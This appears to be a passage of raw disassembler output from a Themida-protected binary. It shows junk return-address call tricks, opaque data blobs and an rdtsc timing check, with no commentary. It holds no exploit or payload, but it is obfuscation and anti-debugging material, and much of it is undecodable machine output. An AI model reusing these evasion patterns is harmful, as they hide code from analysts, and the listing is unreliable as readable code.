dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx loc_595248: ; CODE XREF: Themida_:0059524Aj push edx retn sub_59523A endp ; --------------------------------------------------------------------------- loope loc_595248 xor al, 12h pop es and ah, [edx] scasd jmp loc_595267 ; --------------------------------------------------------------------------- db 8Eh dd 45BC39A4h, 0A2361FA0h, 0EB21C78Ah db 10h, 9Dh, 6Eh ; --------------------------------------------------------------------------- loc_595267: ; CODE XREF: Themida_:00595252j cmp dword ptr [ebp+617AA98h], 0 jz loc_595701 push 0 push ecx call sub_59527F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59527F proc near ; CODE XREF: Themida_:00595277p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_59527F endp ; --------------------------------------------------------------------------- dec edi adc [ecx-238A9BAh], dh jnp loc_5952A2 mov [ebp+61403E9h], ecx loc_5952A2: ; CODE XREF: Themida_:00595296j movsx edi, bx push dword ptr [ebp+617AA98h] push 0 push ebx call sub_5952B6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5952B6 proc near ; CODE XREF: Themida_:005952AEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5952B6 endp ; --------------------------------------------------------------------------- or [ecx+ebp*8+0Eh], cl sbb [edx], ebp sal dword ptr [esi-2Ch], 0D2h mov ebp, 3C3D1515h mov esi, 0BD899A45h dec ecx or [esi+eax], dl call dword ptr [ebp+6142AF5h] push 0 push eax call sub_5952F2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5952F2 proc near ; CODE XREF: Themida_:005952EAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5952F2 endp ; --------------------------------------------------------------------------- dec esi pop es mov [ebp+6142EADh], esi mov esi, [ebp+617AA8Ch] push edi movsx ebx, cx pop ebx mov dword ptr [esi], 10001h push 0 push edi call sub_595326 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595326 proc near ; CODE XREF: Themida_:0059531Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_595326 endp ; --------------------------------------------------------------------------- sar dword ptr [esi], 1 mov di, 5872h jmp loc_59534A ; --------------------------------------------------------------------------- cmc cmp al, 36h icebp adc eax, 9673E031h loc_59534A: ; CODE XREF: Themida_:0059533Cj push eax mov edi, 3D5FCE44h mov [esp], esi push 0 push ebx call sub_59535E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59535E proc near ; CODE XREF: Themida_:00595356p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_59535E endp ; --------------------------------------------------------------------------- or ah, [esi-75h] fisttp word ptr [ecx+14035DB5h] push es push dword ptr [ebp+617AA98h] jo loc_595386 mov bh, 0C5h loc_595386: ; CODE XREF: Themida_:0059537Ej call dword ptr [ebp+6140B31h] push 0 push edx call sub_595397 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595397 proc near ; CODE XREF: Themida_:0059538Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_595397 endp ; --------------------------------------------------------------------------- db 2Eh ; --------------------------------------------------------------------------- jnp short loc_59540A mov cl, 88h mov edx, [ebp+61424EDh] popa mov esi, [ebp+617AA8Ch] push 0 push ebx call sub_5953C4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5953C4 proc near ; CODE XREF: Themida_:005953BCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5953C4 endp ; --------------------------------------------------------------------------- dd 541493A3h, 0E985619Eh, 6, 3664DE08h, 95893449h, 6141A7Dh dd 21D5858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59540A: ; CODE XREF: Themida_:005953A8j inc ecx push ecx retn ; --------------------------------------------------------------------------- aaa push ecx jl short loc_595487 jnb short near ptr loc_595428+1 mov [ebp+6142455h], ecx mov [esi+0C4h], eax push 0 push edx call sub_59542B loc_595428: ; CODE XREF: Themida_:00595412j and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59542B proc near ; CODE XREF: Themida_:00595423p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_59542B endp ; --------------------------------------------------------------------------- db 0FEh dd 0ED79CC5Eh, 0CFAFCE3Ch, 15D9BD8Bh, 8B660614h, 29958BFAh dd 66061432h, 8308E0BBh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0E611DEC3h, 89F357F0h dd 6A2050h, 3E852h db 2 dup(0), 20h ; --------------------------------------------------------------------------- loc_595487: ; CODE XREF: Themida_:00595410j pop edx retn ; --------------------------------------------------------------------------- pop edx mov [esp+4], edx add dword ptr [esp+4], 16h inc edx push edx retn ; --------------------------------------------------------------------------- db 79h, 0F1h, 0D6h ; --------------------------------------------------------------------------- clc lea eax, [ebp+617BE06h] push 0 push edx call sub_5954AE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5954AE proc near ; CODE XREF: Themida_:005954A6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5954AE endp ; --------------------------------------------------------------------------- dw 5E6Fh dd 70E8AF3h, 8509852Eh, 6140CA9h, 8689D88Bh, 0B8h, 8E0Fh dd 6A0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0F5C35343h, 159D33h, 0B5FF0614h, 617AA98h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 0D7A44CADh dd 0DDC08060h, 0FF61C38Bh, 14093995h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 898FD374h, 1400E585h, 0EE99606h, 0C0000000h, 0AA461AFh dd 0D4A184FAh, 0B6F15927h, 12E850A3h, 77000000h, 9E6C6BBBh dd 54EB4589h, 0E1B86A7h, 0FCAF6546h, 5B5160CAh, 5F616160h dd 6BBB6696h, 98B5FF81h, 6A0617AAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CE3AC356h dd 8971673Dh, 140E959Dh, 0F595FF06h, 6A061420h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0F53BC350h, 0BD83FE8Bh, 6140C21h, 32840F00h, 0F000000h dd 0E996FBB7h, 14h, 0D3301596h, 0C884030Bh, 0FDD03165h dd 80F25D34h, 2AF00357h, 50525050h, 50310F52h, 5A310F52h dd 0F585A58h, 96585A31h, 98B5FFFCh, 6A0617AAh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 754CC353h, 8E1694C3h, 68DF8009h, 2B195FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 3F01FFC3h, 98B5FF15h, 890617AAh, 1404F985h, 8195FF06h dd 60061430h, 61F88B60h, 95D38166h, 80606169h, 8361C6C9h dd 1409F5BDh, 840F0206h, 3Ah, 21C9BD89h, 858B0614h, 6142D01h dd 0D3F78166h, 0C6A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0DAC35747h, 8E58AA11h, 6609B79Bh, 85C7F98Bh dd 614244Dh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5956EB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5956EB proc near ; CODE XREF: Themida_:005956E3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5956EB endp ; --------------------------------------------------------------------------- or ah, [ebx+468D6EF7h] loc_595701: ; CODE XREF: Themida_:00595229j ; Themida_:0059526Ej jmp near ptr dword_594984+8 ; --------------------------------------------------------------------------- or [ebp+6141AC1h], edi mov eax, ecx push 0 push edi call sub_595719 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595719 proc near ; CODE XREF: Themida_:00595711p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_595719 endp ; --------------------------------------------------------------------------- db 71h, 8Ch, 73h dd 8689F182h, 0E9710A05h, 11h, 0EC69220Ch, 9A8A7766h, 0AF730799h dd 19D9DD1Ah db 8Ah ; --------------------------------------------------------------------------- loc_595749: ; CODE XREF: Themida_:loc_5948A9j lea eax, [ebp+6140F99h] push 0 push esi call sub_59575A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59575A proc near ; CODE XREF: Themida_:00595752p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_59575A endp ; --------------------------------------------------------------------------- dec esi lea esp, [esi-48433CE3h] clc push eax mov [esp], eax push 0 push ecx call sub_595781 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595781 proc near ; CODE XREF: Themida_:00595779p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_595781 endp ; --------------------------------------------------------------------------- db 8Ch, 4Ah, 6Ah dd 0C4A8898Bh, 0EE9h, 0C16BDE00h, 5E3289A5h, 6EF3E258h dd 66B7D4B1h, 0E8E6DF81h, 9589006Ah, 61414E1h, 9D33006Ah dd 6141615h, 0CDF8858Dh, 6A0618h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D8960C3h, 6140971h dd 8B05C083h, 1412BD9Dh, 11E99006h, 0B9000000h, 0E12B8DC5h dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0BB665350h, 905BD05Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DCC35343h dd 455CFEh, 0F60EBD1h, 683h, 39958900h, 6A061430h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 50EF7AE4h, 8B19D2F8h, 140975BDh, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 50ACC351h, 0FF98037Fh, 141A7195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 9454FA3Ah dd 0E9D85131h, 0Fh, 2FFBA440h, 0AE71E3C5h, 0CE88687Eh dd 8DBB9BA3h, 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 7624F643h, 33BF60B1h dd 8B65B305h, 140E398Dh, 0D1FF6106h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 7C35343h, 50E44EF0h, 6EBBF007h dd 834418AEh, 1412CDBDh, 850F0106h, 0A7h, 0C6CB8166h, 7AD78105h dd 6A5EC078h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D1958994h, 80061402h, 509002CFh dd 9E952h, 524A0000h, 0F0FC3D55h, 0F03B5ADh, 5E831h, 901B0000h dd 5FA4975Ch, 0BF50585Ah, 6A3D8C78h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 93154BDEh dd 0D982CBA6h, 93995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0AF8C0DC3h, 78BF10BDh dd 0E9272ED9h, 0D99h, 0E8h, 0ED815D00h, 618CE02h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 6A65B035h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0A3DBC351h, 2EFDB589h, 858D0614h, 6179623h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ECC35040h dd 2349A384h, 1425E1BDh, 0CB816606h, 60907B54h, 61616060h dd 61D68B66h, 983EBF50h, 6A904F1Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 315C357h dd 2B818589h, 0FF640614h, 35h, 59BD8900h, 6406142Fh, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D0F647C3h, 8DBD0B08h, 0FF061431h, 14236D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 1AA4F1B7h, 0C49BAE44h, 0BB66313Bh, 0FF6A7E24h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A0C35141h dd 0EA3EC897h, 95858976h, 5106140Ch, 0FF5BD98Bh, 142319B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 8174F882h, 69BD89F0h, 0FF06140Eh, 142B1995h dd 0F0E906h, 0BD8B0000h, 6141D41h, 0B032B3h, 0DE8h, 1150FE00h dd 548BE7C0h, 6ECAB287h, 0B529502Ah, 6141FC5h, 0E470E65Fh dd 41BD8B71h, 3C061411h, 0BB830F61h, 23000000h, 1408F9BDh dd 0C8B60F06h, 0D4EB8166h, 6BAAEh, 0B70F0000h, 0BFC18BD9h dd 71EDCBB3h, 8104E8C1h, 66FD53EFh, 0E2F76623h, 0BF66C82Bh dd 0D18B70FEh, 83E9EBB3h, 0FC000000h, 12E9h, 0E12E6B00h dd 0A933D047h, 17478B4h, 2C0919A6h, 8B2CB54Ch, 185h, 0DBBF0F00h dd 8007C083h, 0C083E9C3h, 1DBD8B00h, 3B06142Dh, 19830FD0h dd 0F9000000h, 45E9h, 0EE900h, 32A90000h, 0CCEAAC3Eh, 47CEA425h dd 1A4D82F7h, 0FFFF8D8Bh, 8B66FFFFh, 1E183FAh, 20840Fh dd 0BD8B0000h, 6142C65h, 0FFFFA583h, 66FEFFFFh, 3E17E381h dd 19589h, 8B660000h, 0E9FAh, 0B58D0000h, 6184BE9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h, 0F8C5DC34h dd 0E918589h, 6A0614h, 0C591FBFh, 0CD9D8B63h, 0FF06141Ch dd 14116995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 12FF82A9h, 0F5FAE550h, 0FF8B9h, 5DBD8B00h dd 8306140Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 60D7A2C3h, 0FD8BF0Fh, 0FC61D8B7h dd 9E8h, 84B5B400h, 10B0DA0Ah, 8B66EDE8h, 7E85FFBh, 6000000h dd 19D955Ah, 8D89CA2Dh, 614199Dh, 6AC02B5Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0CA94C351h, 7D0E20B0h, 0CEA393C0h, 0D98B66F9h, 0BAh dd 0ADFA8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 3A47C356h, 0AB6DD989h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 3FC35141h, 0FA8B3294h, 880Dh, 35BD8B00h dd 8B06140Dh, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 6249DC98h, 4D8D8BF5h dd 6A061406h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0F205C351h, 50CEC658h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 2921409Dh dd 140F819Dh, 0ADBD8306h, 61429h, 84840Fh, 0DA8B0000h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 8DF01C83h, 0CCD5E8A8h, 0C2DB813Eh dd 8D432E5Dh, 144D798Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8B89FAC1h, 142AF19Dh dd 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0D54AC356h, 6E562FB6h, 0F359509h dd 0BD830614h, 6142671h, 0FB840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 76CBC350h, 0FE9CCEEh, 684h, 51BD8B00h, 8306141Ah, 142671BDh dd 840F0106h, 3DDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 6EC35040h, 5F722BE8h, 5B6ABA80h, 6024BB66h dd 2671BD83h, 0F030614h, 37286h, 818D8900h, 60061429h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 67C35040h dd 663E8B21h, 0A443D381h, 6AD98C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EACC353h dd 4E18011h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 96C35747h, 289F5B0Eh, 0C90AB138h, 140840Fh dd 66600000h, 0B533FA8Bh, 6142945h, 69858B61h, 6A061419h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0A774C351h, 4E783EE6h, 8185331Ch, 0E906141Bh dd 0Fh, 0FD2CC835h, 7572F9F8h, 71EB1009h, 2B84C5C6h, 1419ADBDh dd 0FE89006h, 2C000000h, 7D7B68B7h, 0BFA507ABh, 91256367h dd 12E90E0Dh, 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh dd 3EDB50E8h, 0F505F1Bh, 482h, 72BB6600h, 9589909Ch, 61403D1h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 9D141AC3h, 0C571088Ah, 0B668D935h, 0F957BB0h dd 138Ah, 0DE800h, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 5FBC9867h dd 49240481h, 316AA353h, 1413898Dh, 0AD95FF06h, 6A061409h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 89E1C353h, 17AA9885h, 21BD8B06h, 0E906142Ch dd 187h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 4FC35141h, 6660CBD0h, 8B4FF0B8h, 14224995h, 858B6106h dd 617AA90h, 2B45B589h, 0C70614h, 18h, 106D8531h, 0B58B0614h dd 617AA94h, 244A28BFh, 29858B5Fh, 6A06140Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 80B1C355h, 248FD1DCh, 9DBD8BF9h, 8906142Ah, 1958906h dd 8B06140Dh, 14196985h, 8E806h, 526F0000h, 45D513C8h dd 0F380EF2Fh, 0BD8B5FD3h, 6141C61h, 81044689h, 13BD77EBh dd 6056962Eh, 14E8h, 0E0E59600h, 4E186BE7h, 0EDA3087Ch dd 0E8D0168Eh, 0CEA99DADh, 0E28A5EF2h, 0BB505B61h, 76C8F3FDh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0DCDDEF7Dh, 9D091B1Ch, 6141411h, 0AA90B5FFh dd 890F0617h, 6, 30C59589h, 46680614h, 81E18856h, 0ADB92404h dd 6A1E96h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h, 0AA98858Dh dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 987BA5C3h, 95295370h, 61408A9h, 0F53505Fh dd 81h, 4895F00h, 96D78124h, 0FF157D56h, 1409AD95h, 6DBD3106h dd 61061426h, 11059D8Bh, 85C70614h, 6142671h, 3, 58E0Fh dd 81660000h, 33B308C3h, 143049BDh, 98BD8306h, 617AAh dd 2D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 3E7D74C3h, 0DB71A45h, 21E9h, 0ADB52900h dd 50061430h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9D89C08Bh, 6142369h, 13E9h, 7563F700h, 5B94CF0h dd 42612573h, 5E48E020h, 0C82EE016h, 0FE9h, 2C57A300h dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 2671BD83h, 0F030614h dd 42085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E924F922h, 12h, 0ECD77548h, 7D8E0234h dd 442CC140h, 7F229248h, 0BD837525h, 617AA98h, 0DE840F00h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 2EFFC357h, 633A612Dh, 8B1244CEh dd 140F5D9Dh, 98B5FF06h, 6A0617AAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BA86C353h dd 0F595FFB0h, 6A06142Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5A9AC355h, 8BFEB70Fh dd 17AA8CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 6C7F8ABh, 10001h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 3EC35242h, 0B6EE40E4h dd 0DB815532h, 4D539899h, 505B5196h, 0F965F51h, 0B5FFFBB7h dd 617AA98h, 0FFDF8B66h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 1292983Dh dd 6F8EA4E5h, 0B58BB5B7h, 617AA8Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 53C35646h, 5053E6F2h, 9099529h dd 0BB660614h, 858B0D07h, 61421D5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 6DC35242h, 0C4868943h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B2AC352h, 14322995h, 9D316006h, 6141191h dd 168C0Fh, 11E90000h, 82000000h, 0FF655644h, 0E94A85DFh dd 0C12607D6h, 240A965Ah, 4C28361h, 10E9h, 20C2EB00h, 0DB1B960h dd 0DE9D32Eh, 79FE43D6h, 2050891Fh, 0A499509h, 858D0614h dd 617BE06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0EC35040h, 89E67DECh, 0B886h, 0DAB70F00h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 136261C3h, 7B52A837h, 0D9BF0FDFh, 0AA98B5FFh, 0EB810617h dd 5B9255C8h, 93995FFh, 0BB500614h, 7614A577h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 2E0C352h, 589C2A82h, 0B98531C0h, 0FF061405h dd 17AA98B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 5116A136h, 963EDCF7h, 58F0FD6h, 0BF000000h dd 1C64D75Dh, 20F595FFh, 0E9600614h, 5, 3798C8A1h, 0C1816697h dd 8361AA35h, 140C21BDh, 840F0006h, 39h, 31F9BD8Bh, 51960614h dd 0EE8h, 940A6600h, 456B725Fh, 0D8A2EC65h, 66F427C9h dd 5FB915BBh, 0BE9505Bh, 66000000h, 7F6255C9h, 70009E65h dd 31964A3Fh, 142CB995h, 98B5FF06h, 6A0617AAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0C55FC355h, 5A413953h, 11E9h, 48DDC300h, 0D611EE35h dd 0C95BD03Fh, 0DB0A6730h, 95FF02C8h, 61402B1h, 2FB1BD89h dd 0BD8B0614h, 6142565h, 0AA98B5FFh, 6A0617h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B557A2C3h dd 66B031C5h, 86C2EF81h, 308195FFh, 6E80614h, 25000000h dd 5F47A617h, 199D8B8Fh, 5F061402h, 9F5BD83h, 0F020614h dd 3E84h, 0DD9D0300h, 8B061408h, 142D0185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0EF120C2Ch, 0B0BB8E38h, 10D18529h, 0C60614h, 0ED38100h dd 0C7670602h, 14244D85h, 6, 95315300h, 6141005h, 0F3B0E95Fh dd 9D29FFFFh, 6140C89h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 299CD1C3h, 8BCA593Eh dd 140579BDh, 99858D06h, 6A06140Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0BD22C357h, 50FA8A25h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0CD0C352h dd 2B91A976h, 1424B1BDh, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2976C355h dd 140575B5h, 14E806h, 0B6D20000h, 8849124Eh, 0C3448599h dd 7DBEA455h, 35693DB0h, 0CE917D5h, 5B000000h, 0FE91A466h dd 68E386BFh, 5B20CC77h, 850F006Ah, 6, 2945BD8Bh, 858D0614h dd 618DE2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 75C35747h, 42BFDA23h, 0C268685Eh, 58DF8166h, 658589EAh dd 83061419h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 1FCE6CC3h, 53198014h, 5690BF0Dh dd 9D8B7C7Eh, 6140B09h, 0EE950h, 8600000h, 6F27BAA7h, 0EAD87DD6h dd 9ADE86C0h, 89240489h, 140CC1B5h, 6A006A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 6A45C353h, 8F0F00h, 0FF000000h, 141A7195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 77B750E6h, 0FC8D8D5Fh, 6A0617A8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1572C351h dd 0D1FFB534h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 97C35747h, 9589F558h, 61414C1h, 12CDBD83h, 0F010614h dd 0C085h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7A1668ACh, 0A8BB6649h, 6A026AF2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0B7FAC356h, 0FD8AD5D6h, 0FE990h, 85E70000h dd 95CA4382h, 243FCA0Dh, 0C5EC7629h, 13E850C2h, 0B9000000h dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 5250FE48h dd 310F5B56h, 8E9h, 0ACB84B00h, 0B2103A9Ch, 5B585A6Dh dd 12E890h, 36500000h, 1C17ABADh, 0C31FD384h, 500F906h dd 8F4E7DC4h, 0CEF38166h, 0BD8B5F3Fh, 6142B2Dh, 93995FFh dd 8B660614h, 28B0FFBh, 0B7000000h db 0D1h ; --------------------------------------------------------------------------- loc_596A09: ; DATA XREF: Themida_:0054A544o jmp loc_597837 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 618DE34h push 0 push edi call sub_596A25 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596A25 proc near ; CODE XREF: Themida_:00596A1Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_596A25 endp ; --------------------------------------------------------------------------- mov al, 86h dec esi mov edi, [ebp+6140A51h] mov edi, [ebp+6141B51h] jmp loc_596A57 ; --------------------------------------------------------------------------- db 25h, 0CFh, 41h db 90h ; --------------------------------------------------------------------------- retn 1207h ; --------------------------------------------------------------------------- dd 75E4E908h ; --------------------------------------------------------------------------- dec ebx ficom dword ptr [edi] loc_596A57: ; CODE XREF: Themida_:00596A44j lea eax, [ebp+6179623h] push 0 push ecx call sub_596A68 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596A68 proc near ; CODE XREF: Themida_:00596A60p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_596A68 endp ; --------------------------------------------------------------------------- sbb [ebx-15h], ch push eax push eax push edx jmp loc_596A96 ; --------------------------------------------------------------------------- db 0F8h dd 61E6B0E0h, 2A3F103Dh, 36AB86B7h, 0B9886966h db 0C9h, 36h ; --------------------------------------------------------------------------- loc_596A96: ; CODE XREF: Themida_:00596A7Ej rdtsc pop edx pop eax mov [esp], eax push 0 push esi call sub_596AA8 and [esi-3Dh], bl 